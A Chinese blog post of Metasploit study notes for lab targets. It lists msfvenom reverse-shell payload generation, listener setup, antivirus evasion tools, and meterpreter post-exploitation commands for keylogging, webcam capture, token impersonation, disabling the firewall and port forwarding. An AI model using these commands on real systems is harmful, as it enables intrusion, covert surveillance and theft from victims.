MSF学习笔记

发布时间 2023-12-08 23:26:31作者: 4A16

一、Msf信息收集    1

二、Msf 各种payload    1

payload生成    1

建立侦听    2

实操(对windows)    3

Powershell配合msf无文件攻击    5

Word伪装木马攻击    5

钓鱼    6

三、Ngroke    6

四、免杀    7

Virustotal.com (查杀网站)    7

Shellter免杀工具    9

将payload进行编码来达到免杀    10

Venom免杀工具    11

五、Msf后渗透模块    12

Meterpreter 后渗透模块原理:    12

进程迁移    12

Meterpreter相关命令    13

常见的数据库的连接信息文件名称    15

端口转发使用物理机连接对方内网中的机器    15

 

一、Msf信息收集

Exploit-db:漏洞库网站

 

二、Msf 各种payload

payload生成

msfvenom <参数>:前六个使用频次较高

  1. -p:指定payload,一般用 windows/meterpreter/reverse_tcp 比较多
  2. -e:指定要用的编码器,一般用 shikata_ga_nai ,其他的都不太好用
  3. -i:指定编码次数,后面跟数字,如:-i 8
  4. -b:设定规避字符集,指定需要过滤的坏字符,如:'\x0f'、'\x00'
  5. -f:指定输出格式,如:-f exe
  6. -o:指定生成文件存放位置,也可用>代替
  7. -l:列出指定模块的所有可用资源
  8. -a:指定payload的目标架构,如x86,x64,x86_64,默认为32位程序
  9. -s:设定payload的最大长度,即文件大小
  10. --platform:指定payload的目标平台,如windows,linux

其余参数可用 -h 查看

例子:msfvenom -p windows/meterpreter/reverse_tcp lhost=<IP> lport=<port> -f exe -o     payload.exe

Mfsvenom -l p

-p:查看payload列表和可调用的木马模块

分为四部分:

  1. 运行平台/环境
  2. 调用的模块
  3. 后渗透模块 meterpreter等等
  4. 协议;bind:直连 攻击成功会在它的目标机上开个端口 主动连接 但会被防火墙拦截;更多用reverse(反向连接)

建立侦听

  1. 常规监听
    1. msfconsole:进入msf控制台
    2. use exploit/multi/handler:使用模块
    3. set payload windows/meterpreter/reverse_tcp:设置payload
    4. set lhost <ip>:设置要侦听的ip
    5. set lport <port>:设置要侦听的端口
    6. (options:查看设置详情)
    7. run或exploit
  2. 快速监听:默认持续侦听
    1. msfconsole:进入msf控制台
    2. handler -H <ip> -P <port> -p <payload>
  3. 其他的一些参数:
    1. exploit -j -z:后台持续监听,-j是后台任务,-z是持续监听,使用jobs查看和管理
    2. sessions -l:查看我的会话
    3. sessions -i 1:调用我的1号会话

实操(对windows)

Msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.110.134 lport=1133 -f exe > 3.exe

 

Msfvenom指定系统、模块、协议 监听的主机ip和端口 生成1.exe的木马文件

Msconsole进行监听

在handler中设置payload

Use exploit/multi/handler

Set lhost 192.168.185.231

Set lport 1133

或者通过一条指令设置

一次性监听:run

持续监听:exploit -z -j

成功连接

Sessions -l 查看会话

Sessions -i 1 调用id=1的会话

然后就可以调用了

-h可以查看帮助

backgrund可以挂起后台

 

Powershell配合msf无文件攻击

Kali生成ps1文件传到公网ipweb服务器,目标机执行一段命令通过公网IP的web服务器调用ps1文件,将ps1的内容加载到目标机的内存中一旦运行就与kali建立会话

 

如果调用powershell的话要加在windows/(此处)/ 加x64,因为powershell一般针对与x64,msf里的一些模块也是x64

Word伪装木马攻击

 

钓鱼

三、Ngroke

使用ngrock穿透内网

防护问题

Powershell配合msf无文件有些防护不会拦截powershell建立会话的,会比shell.exe更实用。

四、免杀

 

Virustotal.com (查杀网站)

检测可以过掉哪些杀软

红色是没过,绿色是过掉的

Shellter免杀工具

在本机上配置,用msf进行监听

然后将putty.exe放入靶机,双击建立会话,可以过掉360等静态免杀

将payload进行编码来达到免杀

这里是模板,方法一可通过编码器改变编码次数来进行payload生成;方法二通过修改图二中示例的py文件。全改也可,效果更佳

编完之后放到python中处理

生成一个exe文件

运行

Venom免杀工具

 

五、Msf后渗透模块

Meterpreter 后渗透模块原理:

拿到服务器的shell,然而此服务器站库分离,拿到的是webshell,可利用msf通过web使msf的端口转化为数据库的端口从而连接到数据库。

进程迁移

 

拿到shell后,先ps列出目标正在运行的进程,然后migrate迁移进程(更稳定地控制session),迁移进程时找不到更高级别权限就迁移到同等级别的权限就行

 

注意:迁移进程最好手动迁移,这样可以避免使用指令随机迁移导致降权的情况

 

提权:如system权限,某些情况可以通过禁用服务(sc config "服务名称" start=disable

)来防止杀软对提权进行拦截,但禁止服务意味着系统需要重启,重启会导致session断开,所以在重启前需要做权限维持(留后门)

 

 

Meterpreter相关命令

 

  1. 进入/退出meterpreter命令:

    a. sessions -i <id>:进入该会话

    b. sessions -k <id>:杀死会话

    c. background/bg:在meterpreter中执行,后台挂起会话

    d. exit:在meterpreter中执行,退出并终止会话

     

  2. 进入meterpreter后的常用命令:

    a. ps :列出目标正在运行的进程

    b. migrate <pid> :进程迁移

    d. sysinfo :查看目标机系统信息

    e. getuid :查看权限

    f. getpid :获取当前进程的pid

    g. kill <pid> :杀死进程

    h. idletime:查看目标机闲置时间

    i. shell:进入目标cmd shell

    j. reboot/shutdown:重启/关机

    k. run:执行一个已有模块, run后按两下tab可以列出已有的脚本

    l. load:加载模块,如 load mimikatz

     

    1. 键鼠,屏幕,摄像头等命令:
    1. uictl [enable/disable] [keyboard/mouse/all] :开启/关闭 键盘/鼠标/所有

      i. uictl disable mouse:禁用鼠标

      ii. uictl disable keyboard:禁用键盘

    b. 键盘记录:

    i. keyscan_start:开始捕获

    ii. keyscan_dump:存储目标机的键盘记录并列出

    iii. keyscan_stop:停止捕获

    c. webcam摄像头命令:

    i. webcam_list:列出对方的摄像头

    ii. webcam_snap:通过摄像头拍照

    iii. webcam_stream:开启并监控摄像头

    iv. webcam_chat:开启视频聊天

    d. 屏幕:

    i. run vnc:在对方电脑上安装vnc并监控屏幕(操作屏幕需要改参数)

    ii. screenshare:实时观看远程用户的桌面

    iii. screenshot:截屏

    e. 键盘,鼠标事件:

    i. keyboard_send:发送击键,后跟内容,相当于在目标机上写入这些内容

    ii. Keyeven:

    1) keyevent 91 down:按住ascii码值为91的键,即按住win键

    2) keyevent 82 press:按下ascii码值为82的键,即r键

    iii. Mouse

    f. record_mic:录制一定秒数音频

     

    4. 文件操作:(windows ,linux命令一般都可以)

    a. cat:查看文件内容(写linux的斜杠/ ,windows要写双斜杠\\,会转义一个)

    b. cd:改变目录

    c. ls/dir:列出当前目录

    d. pwd:查看当前路径

    e. del/rm:删除指定文件

    f. download a.txt /root/a.txt:将对方当前目录的a.txt文件下载到我root目录下

    g. upload /root/a.txt c:/test/:将root下的a.txt上传到目标c盘的test文件夹下

    h. search:

    i. -d:指定要搜索的目录

    ii. -f:指定要搜索的文件名称, *是通配符

    iii. 如: search -d c:\\ -f *.doc 搜索c盘下带doc后缀的文件

    5. 其他系统操作的命令:

    a. execute:执行,如execute -f notepad.exe

    i. -f:执行要运行的命令

    ii. -h:显示帮助信息

    iii. -H:后台隐藏运行

    b. run getgui -e:开启远程桌面,即3389 (拿到一定权限后才行)

    tips(小技巧):有时候开不开,可以把开3389的命令保存到批处理bat文件

    中,用高权限身份运行批处理

    c. 端口转发( 1:36:45)

  • 当目标的主机在内网中时,我要连接对方的3389 ,可以把对方的3389端口 转发到我本机的另一个端口,然后连接我本机这个端口,就相当于连接了对方的3389

  • portfwd add -l 3333 -r 192.168.80.100 -p 3389:将对方的192.168.80.100的3389转发到我本地的3333端口上,建立隧道
  • rdesktop 127.0.0.1:3333
  • 端口转发不需要高权限,正常建立会话的权限就行

6. 其他的一些命令:

a. 先进入shell,然后输入netsh进入:操控网络的一些东西,如操作网卡,开关 防    火墙(natsh adcfirewall set allprofiles state off)

b. run packetrecorder -i 1:查看目标机所有流量

c. run scraper:提取系统信息

d. use sniffer:加载嗅探模块

i. sniffer_interfaces:列出目标主机所有开发的网络接口

ii. sniffer_start 2:获取正在实施嗅探网络接口的统计数据

iii. sniffer_dump 2 /tmp/test.cap:在目标主机上针对特定范围的数据包缓 冲区启    动嗅探

iv. sniffer_stop:停止嗅探

v. 用wireshark进行解包cap文件

e. 盗取令牌: use incognito

i. list_tokens -u:列出目标主机用户的可用令牌, -g是用户组

ii. impersonate_token :假冒令牌,切换身份

f. 持久控制,后面用cs

常见的数据库的连接信息文件名称

Conn、config、db、dbconn、inc、include

 

 

端口转发使用物理机连接对方内网中的机器

示例:

  1. 对方内网当中有一台机器的80端口可以由win7访问,而kali已经控制win7,那么可以通过meterpreter将80转发到kali上的81端口由物理机访问,访问自己相当于访问的对方的80
  2. 端口扫描到目标机某端口445存在漏洞,可将端口转发到kali,打自己相当于打对方的445